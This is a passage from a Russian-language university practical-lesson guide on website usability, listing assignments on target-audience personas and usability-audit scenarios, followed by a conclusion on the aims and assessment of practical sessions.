2) Описание кластеров целевой аудитории, целей и потребностей:

1) описать каждый кластер целевой аудитории, используя для этого метод «Синтеза персонажей»;

2) описать цели, потребности, вопросы и ожидания каждого кластера ЦА при взаимодействии с сайтом.

3) Разработка сценариев для юзабилити-аудита:

1) составить список задач для каждого персонажа, которые он хотел бы решить на сайте и по ним составить сценарии для проведения юзабилити-аудита.

ЗАКЛЮЧЕНИЕ
Целью практических занятий студентов является овладение фундаментальными знаниями, профессиональными умениями и навыками деятельности по профилю специальности, опытом творческой, исследовательской деятельности. Практическое занятие студентов способствует развитию самостоятельности, ответственности и организованности, творческого подхода к решению проблем учебного и профессионального уровня.

Задачами практических занятий студентов являются: 

- систематизация и закрепление полученных теоретических знаний и практических умений студентов;

-   углубление и расширение теоретических знаний;

- формирование умений использовать нормативную, правовую, справочную документацию и специальную литературу; 

- развитие познавательных способностей и активности студентов: творческой инициативы, самостоятельности, ответственности и организованности; 

- формирование самостоятельности мышления, способностей к саморазвитию, самосовершенствованию и самореализации; 

-   развитие исследовательских умений;

- использование материала, собранного и полученного в ходе лекций, на практических занятиях, в ходе самостоятельной работы при написании курсовой работы, а также для эффективной подготовки к итоговым зачетам и экзаменам. 

Аудиторная Практическое занятие выполняется студентом по заданию с непосредственным участием преподавателя.

Контроль и оценка результатов освоения дисциплины осуществляется преподавателем в процессе проведения практических занятий, тестирования, а также выполнения студентом индивидуальных заданий, проектов, исследований.
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